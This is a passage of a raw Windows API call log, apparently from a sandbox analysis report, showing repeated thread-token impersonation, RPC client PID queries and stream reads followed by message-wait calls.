TokenHandle=0xbde878*=0x0) returned 0 [0148.088] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.088] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.088] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xde, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.088] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.089] GetCurrentThread () returned 0xfffffffffffffffe [0148.089] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.089] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.089] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.089] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.089] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.089] GetCurrentThread () returned 0xfffffffffffffffe [0148.089] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.089] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.089] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.090] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.090] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.090] GetCurrentThread () returned 0xfffffffffffffffe [0148.090] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.090] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.090] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.090] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x50, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.090] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.091] GetCurrentThread () returned 0xfffffffffffffffe [0148.091] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.091] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.091] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.091] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x10, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.091] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.092] GetCurrentThread () returned 0xfffffffffffffffe [0148.092] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.092] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.092] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.092] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x41, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.092] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.092] GetCurrentThread () returned 0xfffffffffffffffe [0148.092] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.093] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.093] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.093] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.093] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.093] GetCurrentThread () returned 0xfffffffffffffffe [0148.093] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.093] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.094] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.094] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x25, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.094] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.094] GetCurrentThread () returned 0xfffffffffffffffe [0148.094] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.095] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.095] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.095] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x26, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.095] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.095] GetCurrentThread () returned 0xfffffffffffffffe [0148.095] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.095] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.095] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.095] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x50, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.096] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.096] GetCurrentThread () returned 0xfffffffffffffffe [0148.096] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.096] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.096] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.096] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x65, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.096] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.097] GetCurrentThread () returned 0xfffffffffffffffe [0148.097] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.097] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.097] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.097] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x13, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.097] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.098] GetCurrentThread () returned 0xfffffffffffffffe [0148.098] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.098] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.098] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.098] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x81, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.098] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.099] GetCurrentThread () returned 0xfffffffffffffffe [0148.099] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.099] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.099] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.099] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xeb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.099] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.100] GetCurrentThread () returned 0xfffffffffffffffe [0148.100] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.100] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.100] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.100] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.100] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.104] GetCurrentThread () returned 0xfffffffffffffffe [0148.104] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.104] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.104] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.104] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.104] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.105] GetCurrentThread () returned 0xfffffffffffffffe [0148.105] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.105] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.105] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.105] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x67, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.105] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.105] GetCurrentThread () returned 0xfffffffffffffffe [0148.105] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.105] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.106] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.106] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.106] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.107] GetCurrentThread () returned 0xfffffffffffffffe [0148.107] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.107] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.107] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.107] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xec, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.107] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.107] GetCurrentThread () returned 0xfffffffffffffffe [0148.107] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.108] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.108] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.108] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.108] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.109] GetCurrentThread () returned 0xfffffffffffffffe [0148.109] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.109] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.109] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.109] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.109] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.109] GetCurrentThread () returned 0xfffffffffffffffe [0148.109] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.109] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.110] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.110] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.110] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.110] GetCurrentThread () returned 0xfffffffffffffffe [0148.110] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.110] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.110] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.110] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x23, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.111] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.111] GetCurrentThread () returned 0xfffffffffffffffe [0148.111] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.111] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.111] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.111] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x97, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.111] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.112] GetCurrentThread () returned 0xfffffffffffffffe [0148.112] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.112] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.112] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.112] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x81, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.112] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.113] GetCurrentThread () returned 0xfffffffffffffffe [0148.113] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.113] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.113] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.113] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.113] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.114] GetCurrentThread () returned 0xfffffffffffffffe [0148.114] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.114] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.114] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.114] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.114] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.115] GetCurrentThread () returned 0xfffffffffffffffe [0148.115] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.115] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.115] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.115] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.115] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.116] GetCurrentThread () returned 0xfffffffffffffffe [0148.116] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.116] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.116] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.116] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x18, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.116] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.116] GetCurrentThread () returned 0xfffffffffffffffe [0148.116] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.116] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.117] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.117] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x66, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.117] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.117] GetCurrentThread () returned 0xfffffffffffffffe [0148.117] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.117] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.117] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.117] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.117] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.118] GetCurrentThread () returned 0xfffffffffffffffe [0148.118] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.118] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.118] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.118] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x68, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.118] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.119] GetCurrentThread () returned 0xfffffffffffffffe [0148.119] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.119] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.119] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.119] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.119] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.120] GetCurrentThread () returned 0xfffffffffffffffe [0148.120] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.120] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.120] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.120] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.120] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.120] GetCurrentThread () returned 0xfffffffffffffffe [0148.120] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.120] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.121] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.121] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.121] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.121] GetCurrentThread () returned 0xfffffffffffffffe [0148.121] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.121] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.121] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.121] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x27, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.121] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.122] GetCurrentThread () returned 0xfffffffffffffffe [0148.122] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.122] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.122] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.122] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.122] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.123] GetCurrentThread () returned 0xfffffffffffffffe [0148.123] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.123] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.123] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.123] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x81, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.123] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.124] GetCurrentThread () returned 0xfffffffffffffffe [0148.124] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.124] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.124] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.124] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.124] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.124] GetCurrentThread () returned 0xfffffffffffffffe [0148.124] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.124] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.125] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.125] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.125] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.904] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.907] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.958] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.959] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.962] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, 